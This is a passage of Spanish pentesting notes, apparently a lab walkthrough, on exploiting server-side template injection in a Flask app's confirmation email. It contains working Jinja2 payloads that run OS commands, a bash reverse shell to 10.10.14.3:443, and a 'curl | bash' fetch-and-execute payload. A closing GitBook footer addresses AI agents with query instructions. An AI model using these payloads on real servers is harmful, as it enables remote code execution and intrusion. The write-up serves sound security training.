> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md).

# SSTI y Mail Flask

## SSTI:

Al observar la configuración, notamos que si cambiamos el nombre de la configuración, se envía un correo de confirmación. Esto puede ser una oportunidad para un ataque SSTI.

<figure><img src="/files/4af1450fce960aa50ceba6abd3a80a54224acca2" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3122a07cb0c6a7c4fa300a421fb81f9ec5961031" alt=""><figcaption></figcaption></figure>

Probamos con una carga útil como esta:

```bash
{{ 9*9 }}

```

Si el resultado es `81`, la aplicación es vulnerable.

<figure><img src="/files/0c0ec94cd2d2f08cbac8baf51c31e197dae4b10e" alt=""><figcaption></figcaption></figure>

Confirmamos que la aplicación es vulnerable y probamos la inyección de comandos con una carga útil de `payloadallthethings`:

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings>" %}

ID del comando:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

<figure><img src="/files/b81a260c38a21cdd932ba38e3e0aa0e678745cd1" alt=""><figcaption></figcaption></figure>

Logramos ejecutar una shell inversa escuchando en el puerto 443:

```bash
nc -nlvp 443

```

Creamos un archivo `index.html` con el contenido siguiente para ejecutar una shell inversa

```bash
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/443 0>&1

```

Luego iniciamos un servidor HTTP con Python:

```bash
python3 -m http.server 80

```

Enviamos la carga útil con `curl` para recuperar y ejecutar el comando:

```bash
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('curl 10.10.14.3 | bash').read() }}

```

<figure><img src="/files/a9c8a01ffc5bc56d74aee1759e995c4db4a8c6e0" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-+-mail-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
